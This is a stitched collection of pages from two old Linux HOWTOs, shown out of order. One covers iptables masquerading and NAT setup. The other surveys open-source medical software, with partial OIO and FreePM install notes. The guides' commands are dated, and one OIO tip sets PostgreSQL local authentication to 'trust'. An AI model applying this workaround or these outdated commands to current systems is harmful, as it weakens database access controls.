First, if the iptable and masq modules are not compiled into the kernel and not installed, but do exist as modules, we need to install them. If you insmod ipt_MASQUERADE it will load ip_tables, ip_conntrack and iptable_nat.

$> modprobe ipt_MASQERADE

Now either your Intranet is large, or you're just trying to get two or three machines to work on the internet - it doesn't make much difference either way.

Okay, I'm assuming that you have no other rules, so do:

$> iptables -F; iptables -t nat -F; iptables -t mangle -F

If you get an error saying can't find iptables, go find it and install it. If it says no such table 'nat', recompile the kernel with nat support. If it says no such table as 'mangle', don't worry about it, it's not necessary for MASQ'ing. If it says iptables is incompatible with your kernel, go get > 2.4 and compile that with iptables support.

Then if you have a static ip do (e.g. network card not using DHCP):

$> iptables -t nat -A POSTROUTING -o eth0 -j SNAT --to 123.12.23.43

or for dynamic (e.g. a modem - you have to call a number first):

$> iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE

Then finally to tell the kernel yes, you really do want to start forwarding packets: (This only needs to be done once per reboot - but dosen't hurt to do it lots)

$> echo 1 > /proc/sys/net/ipv4/ip_forward

Once you have checked this all works (See under Post-install) only allow masquerading from the internal network - you don't want to allow people on the internet to use it after all :)

First, allow any existing connections, or anything related (e.g. ftp server connecting back to you)

$> iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

If this gives an error, then you most likely don't have state tracking in the kernel - go recompile. Then allow new connections only from our intranet (local/internal network). Replace the ppp0 with eth0 or whatever your external device is. (The ! means anything but)

$> iptables -A INPUT -m state --state NEW -i ! ppp0 -j ACCEPT

And now deny everything else:

$> iptables -P INPUT DROP   #only if the first two are succesful

If either of the first two rules failed, then this last rule with prevent the masquerading from working at all. To undo this rule do "iptables -P INPUT ACCEPT".

Prev | Home | Next
Summary: (I like doing summaries first) |  | Post-install Instructions


Masquerading Made Simple HOWTO

John Tapsell

tapselj0@cs.man.ac.uk

Thomas Spellman

thomas@resonance.org

Matthias Grimm

DeadBull@gmx.net

Revision History
Revision 0.07 | 2002-02-27 | Revised by: jpt
Revision 0.06 | 2001-09-08 | Revised by: jpt
Revision 0.05 | 2001-09-07 | Revised by: jpt
Revision 0.04 | 2001-09-01 | Revised by: jpt
Revision 0.03 | 2001-07-06 | Revised by: jpt

All of the authors are available on #debian on irc.opensource.net

John Tapsell (JohnFlux) is the official maintainer.

Email me (John Tapsell) for any query, flame, feedback, a date, etc.

Shamelessly stealing from David Ranch's work - <dranch@trinnet.net>.

This is NOT a replacement for the IP-Masquerading HOWTO - it is to complement it, and the two should be read side by side. I do not include things in here that are covered by the the other HOWTO, nor do I explain what it all means, or what it is all about. See http://ipmasq.cjb.net and the standard Masq-HOWTO for a much better guides.

This document describes how to enable the Linux IP Masquerade feature on a given Linux host. IP Masq is a form of Network Address Translation or NAT that allows internally networked computers that do not have one or more registered Internet IP addresses to have the ability to communicate to the Internet via your Linux boxes single Internet IP address.

This is all under the GNU Free Documentation License

http://www.gnu.org/copyleft/fdl.html

Table of Contents
1. Introduction
2. Summary: (I like doing summaries first)
3. Bitmore indepth version
4. Post-install Instructions
5. FAQ's - Frequently Asked Compla^H^H^H^H^H^H Questions
Next
Introduction


Introduction

Masquerading Made Simple HOWTO
Prev Next

1. Introduction

This is intentionally short and to the point.

If you have a network, that you want to attach to the outside:

Prev | Home | Next
Masquerading Made Simple HOWTO |  | Summary: (I like doing summaries first)


Post-install Instructions

Masquerading Made Simple HOWTO
Prev Next

4. Post-install Instructions

And it should all work now. Don't forget to:

  • Setup all the clients on the internal network to point to the Linux internal IP address as their gateway. (In windows right-click network neighbourhood->properties->gateway then change it to the Linux gateway internal ip.)

  • Setup all the clients to use your ISP's HTTP proxy if they have one, use a transparent proxy (WARNING - I've heard reports of transparent proxying to be very slow on very big networks), or run squid on your new linux gateway. (This is optional, but preferrable for large networks)

  • Now you should start securing it! First turn off forwarding in general: "iptables -P FORWARD DROP", and then learn how to use iptables and /etc/hosts.allow and /etc/hosts.deny to secure your system. WARNING - Don't try this mentioned iptables rule until you have the masquerading working. You have to explicitely allow every packet through that you want if you are going to set the last rule to be DENY. (Undo with "iptables -P FORWARD ACCEPT")

  • Allow through any services you do want the internet to see.

    For an example, to allow access to your web server do:

    $> iptables -A INPUT --protocol tcp --dport 80 -j ACCEPT
$> iptables -A INPUT --protocol tcp --dport 443 -j ACCEPT

    To allow ident (For connecting to irc etc) do

    $> iptables -A INPUT --protocol tcp --dport 113 -j ACCEPT

To test it:

  • Try connecting from a client to the web using an IP. Google's IP is 216.239.33.100 (well that's one of them) and you should be able to get a reply from that. e.g. "ping 216.239.33.100" "lynx 216.239.33.100".

  • Try a full out connection by name. e.g. "ping google.com" "lynx google.com" or from Internet Explorer / netscape.

Where eth0 is the external Internet card, and 123.12.23.43 is the external ip of that machine.

Prev | Home | Next
Bitmore indepth version |  | FAQ's - Frequently Asked Compla^H^H^H^H^H^H Questions


Summary: (I like doing summaries first)

Masquerading Made Simple HOWTO
Prev Next

2. Summary: (I like doing summaries first)

Assuming external internet card is eth0, and external IP is 123.12.23.43 and the internal network card is eth1, then:

$> modprobe ipt_MASQUERADE # If this fails, try continuing anyway
$> iptables -F; iptables -t nat -F; iptables -t mangle -F
$> iptables -t nat -A POSTROUTING -o eth0 -j SNAT --to 123.12.23.43
$> echo 1 > /proc/sys/net/ipv4/ip_forward

Or for a dial-up connection:

$> modprobe ipt_MASQUERADE # If this fails, try continuing anyway
$> iptables -F; iptables -t nat -F; iptables -t mangle -F
$> iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE
$> echo 1 > /proc/sys/net/ipv4/ip_forward

Then to secure it:

$> iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
$> iptables -A INPUT -m state --state NEW -i ! eth0 -j ACCEPT
$> iptables -P INPUT DROP   #only if the first two are succesful
$> iptables -A FORWARD -i eth0 -o eth0 -j REJECT

Or for a dial-up connection (with eth0 as the internal network card):

$> iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
$> iptables -A INPUT -m state --state NEW -i ! ppp0 -j ACCEPT
$> iptables -P INPUT DROP   #only if the first two are succesful
$> iptables -A FORWARD -i ppp0 -o ppp0 -j REJECT

And thats it! To view the rules do "iptables -t nat -L"

Prev | Home | Next
Introduction |  | Bitmore indepth version


Community

Linux Medicine-HOWTO
Prev Next

3. Community

3.1. News

3.1.1. LinuxMedNews

LinuxMedNews is a site designed to facilitate, amplify and begin the process of fundamentally changing medical education and practice into a more effective, fair and humane enterprise using modern technologies. The site uses Zope and a slashdot clone Squishdot to accomplish these goals. It is not intended to be doctor-centric, it is intended to be an interesting/fun forum and resource for anyone who has an interest in health care and open source.

3.1.2. The Spirit Project

The Spirit Project is a multilingual source of opensource software that makes this document just pale in comparison. Well designed, too big for me go over in detail, but seems to be another good source for software development and group news.

3.2. Organizations

3.2.1. American Medical Informatics Association

AMIA is a association that is quite a resource for the informatics community. Unfortunately, they require a subscription to join, but I have found that some mailing-lists will add you. I have found the cs-wg mailing list the most interesting, with some of the best discussion going around. The discussion are extremely good and informative.

3.3. Mailing Lists

3.3.1. OpenHealth

OpenHealth is a another community that I have found has a good mailing list discussion. You can join the mailing list by going Here. It also contains a Link to a list of other opensource works.

3.3.2. Open Source Health Care Alliance

Open Source Health Care Alliance (OSHCA) is a collaborative forum to promote and facilitate open source software in human and veterinary health care.

3.4. IRC

3.4.1. IRC #openmed

An IRC channel, #openmed, has been set up on irc.openprojects.net. To learn more about IRC, click Here. To learn more about Openprojects.net, click Here.

Prev | Home | Next
Debian-Med |  | Medical Record Applications


Credits

Linux Medicine-HOWTO
Prev

11. Credits

  • Gref Fergusion. For putting up with my constant questions.

  • AIRION Asssociates <airion@charter.net>

  • K. Szabo Botond <kszabo@sol.cc.u-szeged.hu> MyPACS

  • Patrick Goltzsch <Patrick.Goltzsch@Hanse.de>

  • Chason Hayes MD <Chasonh@hotmail.com>

  • Christian Heller <christian.heller@tuxtax.de>

  • Karsten Hilbert <Karsten.Hilbert@gmx.net>

  • George B. Moody <george@mit.edu> Harvard-MIT Division of Health Sciences and Technology

  • Shouhei Nagaoka <nagaoka@jttk.zaq.ne.jp>, Japanese translation

  • Kevin Rosenberg, M.D. <kevin@rosenberg.net>

  • Andrew Sutton <ansutton@sep.com>

  • Ralf Stephan <ralf@ark.in-berlin.de>

  • Martin Wawro LS7, Department of Computer Science, UniDO <wawro@ls7.cs.uni-dortmund.de>

Prev | Home
My thoughts |


Debian-Med

Linux Medicine-HOWTO
Prev Next

2. Debian-Med

2.1. DEBIAN-MED HOMEPAGE

A better place to look for medical information is Debian-Med which is already better organized than this page. You should look here first, then come here, as I think the focus of this How-To will eventually be a How-to install working applications that I think is useful and actually useful.

Prev | Home | Next
Preface |  | Community


Imaging Applications

Linux Medicine-HOWTO
Prev Next

8. Imaging Applications

8.1. Slicer

The Slicer is freely available, open-source software for visualization, registration, segmentation, and quantification of medical data built on top of VTK (http://public.kitware.com/vtk). Slicer can read industry standard CT and MR image volume file formats, including DICOM. Slicer can be used to create complex 3D models, script and render animations, and make measurements. Additional modules can be added to Slicer using C++ and Tcl.

Caution

Please Note: Slicer is a research tool only, and should not be relied upon for any clinical applications.

Development of the Slicer is an ongoing collaboration between the MIT Artificial Intelligence Lab and the Surgical Planning Lab at Brigham & Women's Hospital, an affiliate of Harvard Medical School. Slicer has an active developer community and is being used for research at many institutions around the world. Valid email address and contact information required for download. See http://www.slicer.org for more information.

Slicer is available in source code form and can be compiled for Solaris, Linux, or Windows. Precompiled binaries are available for some platforms.

Prev | Home | Next
Installing a Medical Record Application (not ready yet) |  | Usefull Applications


Linux Medicine-HOWTO

Gerardo Arnaez

garnaez_((AT))_yahoo.com

Werner Heuser

wehe_((AT))_mobilix.org

Revision History
Revision 2.0.4 | 2002-04-06 | Revised by: gea
Added Kpumpe and OIO library info
Revision 2.0.3 | 2002-03-02 | Revised by: gea
Added to install OIO on Debian system. Have started on OIO how to install
Revision 2.0.2 | 2002-03-02 | Revised by: gea
Starting to add more to the How-To section of FreePM. The installation section will need testing by others. Added Slicer info under a new section
Revision 2.0.1 | 2002-02-19 | Revised by: gea
Minor changes, Changed license to GPL. Some more reorganization. Which to say I have deleted out a ton of comments that I put that were useless. More pimping of Debian-med.
Revision 2.0 | 2002-02-05 | Revised by: gea
Major changes. Conversion from linuxdoc to DocBook format. Have basically edited out nutrition sections and most of the German section for now until I can get help again the German section. Have switched focus of the article to Medical informatics and applications, less to research applications which should probably be a different article. Will most likely put these things I will not maintain at the end, so someone else has some where to begin. Whew. Tired from DocBook Conversion.
Revision 1.4.3 | 2002-02-5 | Revised by: gea
Doing minor checks of links. no big change yet
Revision 1.4.2 | 2002-02-05 | Revised by: gea
I have started to make structural changes to the documents. Changes Community to the fore-front. renamed Medical Application to Medical Record Application to make it more usable. I have not decide to change the version number as i have just moved links around and I am trying to structure the document a little bit better.
Revision 1.4.1 | 2002-02-05 | Revised by: gea
Gerardo Arnaez took over maintaining this document. Some new additions, some info on when last update. Links to sqlclinic.net and eors.org added.
Revision 1.4 | Unknown | Revised by: wh
XXX, minor changes
Revision 1.3 | 2001-03-01 | Revised by: wh
added links to gnutrition, Java SmokingMeter and HL7lib - Health Level 7 Library, some other links updated, Japanese translation proposed
Revision 1.2 | 2000-11-04 | Revised by: wh
Links to Nut, Free Practice Management, LittleFish, GNUMed, REALTIQ, VISIdent, weight, OIO, CTSim, myPACS, BlazeLIMS, XNBC and PhysioNet added, new document URL, minor changes
Revision 1.1 | 2000-04-20 | Revised by: wh
links to Res Medicinae, QDS, sixpack and LinuxMedNews added, minor changes
Revision 1.0 | 2000-01-27 | Revised by: wh
LinuDent added, preface and disclaimer added, minor changes, first official release
Revision 0.2 | 2000-01-26 | Revised by: wh
URLs checked, minor changes, second draft
Revision 0.1 | 1999-11-17 | Revised by: wh
first draft

Some pointers to Linux software (mostly GPLed) for the medical sciences (medical applications, Medline and other bibliography tools, applications for veterinarian medicine and others). UPDATE: I intend this HOWTO to be more and more geared to Medical applications and less to the others.

Table of Contents
1. Preface
1.1. About the Document
1.2. About the Author(s)
1.3. Copyright, Disclaimer and Trademarks
1.4. Request For Comments
2. Debian-Med
2.1. DEBIAN-MED HOMEPAGE
3. Community
3.1. News
3.2. Organizations
3.3. Mailing Lists
3.4. IRC
4. Medical Record Applications
4.1. Debian Med
4.2. VISTA (DHCP)
4.3. SQL Clinic
4.4. Electronic Obstetrical Record System
4.5. Freemed
4.6. Freemed-YiRC
4.7. GNUMed
4.8. GNotary
4.9. Res Medicinae
4.10. The LittleFish Health Project
4.11. Free Practice Management - FreePM
4.12. Open Infrastructure for Outcomes
4.13. myPACS
4.14. LIMS - Laboratory Information Management Systems
4.15. Meditux
4.16. MEGA and Mumps Compiler
5. Medical informatics
5.1. What is it?
5.2. Good Electronic Health Record - GEHR
5.3. HL7lib - Health Level 7 Library
6. PDA
6.1. Palm Pilots
6.2. Linux Devices
7. Installing a Medical Record Application (not ready yet)
7.1. Point of this section
7.2. My Assumptions About You
7.3. OIO
7.4. FreePM
8. Imaging Applications
8.1. Slicer
9. Usefull Applications
9.1. KPumpe
10. My thoughts
10.1. Too Many Projects
10.2. I am biased
10.3. I work and what is needed.
11. Credits
Next
Preface


Medical informatics

Linux Medicine-HOWTO
Prev Next

5. Medical informatics

5.1. What is it?

My extremely brief answer would be it is the study of how medical data is recorded, stored, retrieved, displayed and exchanged. One of the big problems facing medicine is how to transfer medical data from one system to another.

Another answer comes from the AMIA.ORG site:

Medical informatics has to do with all aspects of understanding and promoting the effective organization, analysis, management, and use of information in health care. While the field of medical informatics shares the general scope of these interests with some other health care specialties and disciplines, medical informatics has developed its own areas of emphasis and approaches that have set it apart from other disciplines and specialties. For one, a common thread through medical informatics has been the emphasis on technology as an integral tool to help organize, analyze, manage, and use information. In addition, as professionals involved at the intersection of information and technology and health care, those in medical informatics have historically tended to be engaged in the research, development, and evaluation side of things, and in studying and teaching the theoretical and methodological underpinnings of data applications in health care. However, today medical informatics also counts among its profession many whose activities are focused on dimensions that include the administration and everyday collection and use of information in health care. For an account of some of the definitions that describe the field in more formal and scientific terms, click here.

--AMIA.ORG

5.2. Good Electronic Health Record - GEHR

The Good Electronic Health Record (GEHR) , a major part of the work of the openEHR Foundation, is an evolving electronic health record architecture designed to be comprehensive, portable and medico-legally robust. It has been developed from the Good European Health Record project requirements statement and object model- the most comprehensive requirements documents ever developed for the electronic health record. This website is a public resource for documents and resources that have been used to build implementations of this record.

5.3. HL7lib - Health Level 7 Library

HL7lib Health Level 7 Library is a project that will provide a free, correct implementation of Health Level 7 functions. Health Level 7 is commonly used in large hospitals to send patient information among computer systems from different vendors. Since there is no reference implementation of HL7 many of these vendor systems vary widely in their interpretation of HL7.

Prev | Home | Next
Medical Record Applications |  | PDA


PDA

Linux Medicine-HOWTO
Prev Next

6. PDA

6.1. Palm Pilots

An increasing role in data collection for instance in hospitals, will be played by hand-held computers (HPCs) or Personal Digital Assistants (PDAs). More commonly known as PALMs. Linux offers way to exchange these data to servers, for instance via the IrDA port. See Infrared-HOWTO for details. A survey of non-Linux applications for the Palm device you may find at PalmPilot Medical - Palmtops PDAs HPCs Palm - Net Links.

6.2. Linux Devices

For more info, on say Sharp Zaurus SL-5000D, look Here.

This section will grow as I am getting touch with a doctor who is actively developing OB-GYNE applications to use on it

Prev | Home | Next
Medical informatics |  | Installing a Medical Record Application (not ready yet)


Preface

Linux Medicine-HOWTO
Prev Next

1. Preface

Life is the first gift, love is the second, and understanding is the third. -- Marge Piercy

1.1. About the Document

This document is part of the LINUX DOCUMENTATION PROJECT - LDP.

A Japanese translation is proposed by Shouhei Nagaoka, see the Linux JF (Japanese FAQ) Project.

This document isn't ready yet. If you like to write a chapter or even a smaller part by yourself, please feel free to contact me. Also your suggestions, recommendations and criticisms are welcome.

Note: Werner Heuser, no longer maintains this LDP.

1.2. About the Author(s)

Gerardo Arnaez: I am an internal medicine doctor. I am extremely concerned with the state of medical informatics.

Werner Heuser: Working as a system administrator in the computer departments of two German hospitals I get inspired to search for medical applications created with Linux software. Besides this HOWTO I have written the Linux-Mobile-Guide, Linux-Infrared-HOWTO and the Linux-Ecology-HOWTO.

1.3. Copyright, Disclaimer and Trademarks

NOTE: This license has changed to GPL license.

Copyright © 2002 by Gerardo Arnaez. This document may be distributed under the terms set forth in the GPL license.

Copyright © 2000 by Werner Heuser. This document may be distributed under the terms set forth in the LDP license.

This is free documentation. It is distributed in the hope that it will be useful, but without any warranty. The information in this document is correct to the best of my knowledge, but there's a always a chance I've made some mistakes, so don't follow everything too blindly, especially if it seems wrong. Nothing here should have a detrimental effect on your computer, but just in case I take no responsibility for any damages incurred from the use of the information contained herein.

Though I hope trademarks will be superfluous sometimes (you may see what I mean at Open Source Definition : If certain words are trademarks, the context should make it clear to whom they belong. For example MS Windows NT implies that Windows NT belongs to Microsoft (MS). Mac is a trademark by Apple Computer. All trademarks belong to their respective owners.

1.4. Request For Comments

If you have any comments, suggestions, new information, please tell me: <garnaez_((AT))_yahoo.com>

Prev | Home | Next
Linux Medicine-HOWTO |  | Debian-Med


Medical Record Applications

Linux Medicine-HOWTO
Prev Next

4. Medical Record Applications

4.1. Debian Med

The linux distribution by Debian is a well known and highly respected one. The developers are all volunteers and dedicated. Recently, it was announced that Debian would start making a Debian Med Package. This is very very good news, because one of the things Debian is known for is its "APT-GET" interface. This allows applications to be installed with the simple command of "apt-get install [application]". For example, if I wanted to install the OIO record system, I would simply type in 'apt-get install oio' and the apt-get program would not only install the OIO software, but would also install any software that OIO is Dependant on to run, such as the postgres database and Zope software and would configure it so that you could immediately start using it.

If you think I sound enthusiastic about this project, I am, because it simply would be perfect for the rest of the projects that are being developed in that would ease installment.

I urge to visit the Debian Med Homepage, by clicking HERE

4.2. VISTA (DHCP)

VISTA is a huge, VA hospital funded project, electron medical records system. I used this system, when I was a resident, in the Va hospital, and it simply was the best system (that I had used). I'm actually surprised that not more people know about this. I am not sure about the license, but the software and documentation is available under the Freedom of Information Act, but you need to send REQUESTS to get access to the software on CD. They are currently starting to host more and more of the code on-line, though.

4.2.1. Last Update:

Constantly

4.3. SQL Clinic

SQL clinic is an impressive application that was developed for mental health workers, sponsored by their local hospital. What is most impressive is the amount of documentation. However it is unclear how useful the application would be for other non mental-health professionals.

To address the point about its utility outside the mental health sector: we are doing a spin-off called (believe it or not) SQL Cafe. Why? The local Indian restaurant (www.tasteofindia.org - I do their web pages) has hired us to design a custom database that tracks vendors, customers, uses a cgi based on-line menu (to replace the html version, so modifications don't require html skills) and so on.

Seriously, one other thing about SQL Clinic is that it was designed to be reverse engineered and used for other purposes. It's all based on Lincoln Stein's CGI.pm module (a terrific tool) and the incredible horsepower of Postgres. So I suspect, once Ingo and I get it a bit more streamlined, that SQL Clinic may have greater utility as an example of how to access postgres via Perl than as a mere clinical application. At least that is our goal.

--Thomas Good writes

4.3.1. Last Update:

Feb 2, 20002

4.4. Electronic Obstetrical Record System

EORS is a quite a well-developed medical management system used by the developers themselves in their OB practice. The layout is somewhat Star Trek-ish, but quite useful and well developed.

4.4.1. Last Update:

Unclear

4.5. Freemed

Freemed is a medical management software package that runs in a web browser window. It currently uses Apache, an SQL back-end (usually MySQL, but there's an SQL Abstraction for this), and PHP, and is non-browser specific. It aims to duplicate all of the functionality of programs such as The Medical Manager, while remaining free to the community.

4.5.1. Last Update

Unclear. July 9, 2001 ?

4.6. Freemed-YiRC

Freemed-YiRC is a PHP package based on Freemed for use with Youth in Residential Care (YiRC) agencies. Its aim is to be a complete package to replace legacy non-free apps which aren't customizable. Since it's PHP-based, all that is needed for the client is a good Web browser with extensive table support. It can use both Postgres and MySQL databases.

4.6.1. Last Update:

02/04/2002

4.7. GNUMed

GNUMed is a GNU's project to develop a comprehensive medical management solution.

4.7.1. Last update:

2000-11-22

4.8. GNotary

GNOTARY is a client that provide the ability to notarize digital documents using a server to prove that digital documents have not been tampered with after their initial creation date. This is a very important piece of software.

The author provides a GNotary server to provide the actually notarization on a separate system.

4.8.1. Last Update:

2001-06-24

4.9. Res Medicinae

Res Medicinae is supposed to be a comprising software solution for use in Medicine which combines intuitive ease of use with the advantages of the Java platform. It uses latest technology adhering to common standards for medical software and will such be open to many other medical systems.is the attempt to overcome high pricing in the realm of medical information systems and to provide users with a stable, platform independent, extensive system using latest technology and being open to many other medical systems.

4.9.1. Last Update:

2002-02-05

4.10. The LittleFish Health Project

The LittleFish project is a user friendly patient information and recall system on an open source basis for the use by any community health organization. The project will follow the GEHR or Good Electronic Health Record standards. This Site has a lot of useful information about the what is involved in trying to design the project.

4.11. Free Practice Management - FreePM

FreePM is an open source project to create a provider designed patient centered electronic medical record and practice management application. This is probably one of the most developed projects out there, seems already quite usable in its Demo. More significantly, they offer services to help actually run their software in a real office, but all the code is opensource and they seem committed to this philosophy.

I have successfully installed this and gotten it to run. Please look for further info in chapter 7.

Read a review of it HERE.

4.12. Open Infrastructure for Outcomes

OIO is a Web-based information system for treatment outcome management. It is in production at the Harbor/UCLA Medical Center for clinical outcomes management and research data. Forms created with OIO and hosted on any OIO server can be downloaded as XML files. Once downloaded from the "Forms library" and imported into an OIO server, the necessary database tables are automatically recreated and the imported forms become immediately available to the users of that OIO server.

Note: This application is already in quite useful, but lacks 'already-made' forms for use. But these can be quickly designed within the application's interface quickly. Another to really try!

4.12.1. OIO Library

One of the interesting things about OIO project, one that makes it one of my favorites, is the ability to share forms that others have created. However, at this moment there are no forms present, but in the future they will be Here

4.12.2. Update

I have successfully installed this and believe that this is a real contender. In the HOW-TO Install section, I may try to replicate all documents or use the fine documentation and just comment on it, making special note of problems encountered during installation and use

4.13. myPACS

MyPACS is a Web-based medical image management system. It is written in PHP 3.x and uses MySQL for the relational database back-end. It features searching capabilities, uploading of images and patient data from a Web browser into shared and private image repositories, and thumbnail creation and image conversion using ImageMagick. Currently MyPACS is not compatible with the DICOM standard.

4.14. LIMS - Laboratory Information Management Systems

The LIMS ASTM Standard (E1578 Standard Guide for Laboratory Information Management Systems) can be found in ASTM`s Annual Book of Standards Volume 14.01 Healthcare Informatics; Computerized Systems and Chemical and Material Information. There is a small terminology section in this standard that covers 25 terms that relate to LIMS. The purpose of the standard guide is to educate new LIMS users on the purpose and functions and the process of procuring a LIMS.

There is one other additional LIMS related standard in this book. This E2066 Standard Guide for Validation of Laboratory Information Management Systems. The BlazeLIMS Server by Blaze Systems Corporation LIMS is now supported on Linux.

4.15. Meditux

Meditux is Java-servlet based software that provides a Web interface to MySQL or potentially any relational database engine which is JDBC capable. It was developed to support an Intranet site in a medical intensive care unit where it was used to collect clinical and research data.

4.16. MEGA and Mumps Compiler

Mumps Compiler is a compiler for a subset of the Mumps language, a language used mainly in health care. It is compatible with most operating systems with a standard C compiler. License: GPL OMEGA is an Open Source implementation of the M-Technology (MUMPS) programming language. It is extend-able, and currently embedded with MySQL; it is ideal as a trigger/validation front-end to SQL. License: free for non-commercial use.

Prev | Home | Next
Community |  | Medical informatics


My thoughts

Linux Medicine-HOWTO
Prev Next

10. My thoughts

10.1. Too Many Projects

Having spend some time on looking at the available software, I can only say that currently, we simply have an abundance of development, but little progress. I keep seeing multiple projects trying to achieve the same thing, but the resources are spread too think and so they fail. I wonder if there were some way to concentrate the various developers onto one project. The questions remain as to what main ideas should be focused on. Obviously the first one should be a Medical records application. That is a coherent, portable, way to contain, process, and use all the medical data that is generate by a patient.

The second focus should be on software for a workign clinic. This seems to be much harder since it would involve the billling seciton. However this would also include things like scheduling and multitude of forms that a clinic uses in day to day use.

THe third focus (one I know little about) would be in the more specialized applications like Imagaing, which seems to already have quite a bit of working software, but is inherently hard to make because not everyone has access to CT scanners and such.

10.2. I am biased

The other thing I want to point out is that this is not an un-biased LDP, I may stress something more than others because I think the foundation is better or that I have seen it actually work, so if you feel something is not right, please feel free to let me know.

10.2.1. Debian as Standard linux distribution

I realize that urging people to consider debian as the standard linux system when it comes to medical applications is probably like arguing about religions. But.. :) The point is that our audience is not Linux gurus who only use slack or can configure applications from source tar balls. Debian provides an extremely sophisticated and easy to use installation process that is ideal for people who want to get a system running.

10.3. I work and what is needed.

Now that I have been working for almost two weeks, here are a few things I have learned. While a resident, I did part of my training at the VA hospitals which had a superb information system, but it required that we type out everything from the smallest order to the emergency stat orders. This seemed to work weel for teh VA since most of the Doctors had residents do their notes or they tended to dictate very little, writing very breif, sometimes cryptic, notes about the status of their patient. Now that I am in the private world, the only thing that seems to be saving medicine are the transciptionists who take the garbled spped talk that doctors do and type out coherent statements. The problem that I see with many of these data systems is that seem to assume that doctors have the time which they dont (there is barely enough time to see a patient properly let alone do all the coding na dthen write out a clear note.

Several idea come out that doctors will merely have to tick off boxes on a palm device to indicate what they did, but this is fine for billing but not so for the actualy medical record, which even though is breif contains much more subtley then any billing coding system could have. Perhaps what we need is to maintain the medical record in its narrative form and have a parser go throught it and pull the important bits and then it would enter this stuff into database. It is an idea, but surely a worthwhile one since Doctors simply can not sit aroung computer terminals (as I am doing, but it is a Sunday)

Prev | Home | Next
Usefull Applications |  | Credits


Installing a Medical Record Application (not ready yet)

Linux Medicine-HOWTO
Prev Next

7. Installing a Medical Record Application (not ready yet)

7.1. Point of this section

This section is actually going to be the HOW-TO of this HOW-TO document. I intend to include instructions or refer to instruction on installing what available systems that are readily usable at this point.

7.2. My Assumptions About You

I will try to be pretty cook book about how to install these applications, which means that if I can, i will always tell you what to type (at least what to type that works for me). The problem is that this assumes that you know what a shell window is and can switch directories with-in, which actually assumes a fair level of technical sophistication since most of us have gotten used to Microsoft based Windows systems. Which is to say that a lot of us only have interacted with a computer using a Graphics User Interface (Gui's), and that these installation require that you be familiar with Command Line Interfaces (CLI) like a terminal window or a shell.

If you don't know what I am talking about then I recommend you ask someone (me possibly) about what shell windows are, and probably what a UNIX-based Operating system looks like, especially without a GUI.

7.3. OIO

7.3.1. What is it?

The OIO system starts a higher level of abstraction - starting with modeling "forms". The forms are then used to model/build progress notes etc. The OIO system makes use of a relational database back-end (PostgreSQL) - 1) making the data/metadata/presentation separation more distinct, 2) making integration with other system (e.g. legacy systems, GNUMed, SQL Clinic etc) easier, 3) making query construction/extension easier (via SQL).

If you search the OpenHealth mailing list archives, you will see extensive discussion regarding this in the context of GEHR and OIO. GEHR uses the same approach but calls this intermediate level of abstraction "archetypes". The advantage of the OIO/GEHR approach is that the metadata components can be plug-and-play - meaning that the system can be easily extended/customized AND portable medical records become easier to implement.

7.3.2. HOW TO INSTALL OIO

7.3.2.1. A word on documentation

I can not stress how really good and how much documentation the developers of OIO have written. There are some confusing parts, especially if you are in a hurry. :) However, please read the install documentation at OIO then come back. Hopefully, I will import or streamline the documentation since, the developers want to support OIO on all distribution, whereas my slant is becoming more and more based on the Debian distribution.

7.3.2.2. Initial Notes on Debian Installation

7.3.2.2.1. Changes to PostgreSQL

One of the more aggravating things was find that Zope could not interact (connect) to the PostgreSQL database. What was happening (I will give greater detail later) is that the 'postgres' user could not be authenticated. I think this is a problem in that Krebs authentication is not installed by default. To fix this you need to cd /etc/PostgreSQL/ and find the pg_hba.conf file. Using what ever editor you like, find the bit of code that tells who can and can not access to the database. Unfortunately, the only way I could get it to work for now is to change:

local all peer sameuser

host all 127.0.0.1 255.0.0.0 ident sameuser

host all 0.0.0.0 0.0.0.0 reject

And change it to

local all trust

host all 127.0.0.1 255.0.0.0 trust

host all 0.0.0.0 0.0.0.0 reject

7.3.2.2.2. TimeStamp Error

I ran into this problem because apparently PostgreSQL does not like the

On Sat, 2 Mar 2002 dude@deletia.com wrote:
...
> I have reached the section that asks me to archive a form.
>
> I hit the 'now' button, then hit 'Create a new version' and i get the
> follow error:
> This is the source of it the html page:
> <strong>Error Value: ERROR: Bad timestamp external representation
> '2002/02/03 17:22:58 US/Pacific'

I ran into this same problem after the end of day light savings time. :-)
The reason for this is that PostgreSQL does not like US/Pacific for time
zone. The fix is to provide the time stamp in GMT time.

The fix is to add the following to the OIO/forms/archive_form/archive_b
method:
++++++++++++++++++++++++++++++++
<dtml-if time>
<dtml-call "REQUEST.set('time_string', _.str(time.toZone('GMT')))">
</dtml-if>
++++++++++++++++++++++++++++++++
(it goes right before the following, make sure time=time_string in the
parameter list)
==========================================
<!--#in "putin_archived_forms_c(
form=name,
archivedname=newname,
version=newversion_value,
time=time_string,
creator=creator,
description=description
)"-->
==========================================
So, basically the new routine converts the time stamp into GMT time - I
think GMT-7 or GMT-8 for US/Pacific, depending on daylight saving time
status.

Best regards,

Andrew
---
Andrew P. Ho, M.D.
OIO: Open Infrastructure for Outcomes
www.TxOutcome.Org

Caution

Note that in the originally distribution of OIO you only see 'time=time', when you are change the source code on this page, so make sure to make it time=time_string.

I am told that this will be fixed in the next release 1.0

7.3.2.2.3. Port Problems

Note that Zope has changed its default port from 8080 to 9673 to avoid conflicts with the proxy server. You will not be able to get OIO to run correctly if you don't specify the correct ports that Zope is using. You can correct these by clicking on the main OIO folder, and selecting the Properties. Or you add /manage to the end of you OIO URL. For instance http://localhost:8673/OIO becomes http://localhost:9673/OIO/manage

You are looking for field base_URL and form_URL and you will see that OIO has port 8080 set up as the default. You need to change this number to 9673.

7.4. FreePM

7.4.1. Introduction to FreePM

This is the second application that I see that I think is actually useful for the medical office. (One of my main concerns, as I will be using it exactly for that.)

7.4.2. Where to to get it

You can get the entire package which include everything you need like Zope products and even python from Here and choosing FreePM-1.0b6-FULL-linux2-x86.tar.gz. This will include all the documentation.

7.4.3. Basic Installation of FreePM

Given that Tim Cook has put together everything you need to get a fully running FreePM application, I will first deal with installing the application as if you downloaded the full 14MB gzipped file. However, since Zope can be installed separately, and you may have other Zope applications going on, I will also discuss how to install the FreePM Zope product separately from installing Zope.

7.4.3.1. Using the 14MB FreePM download

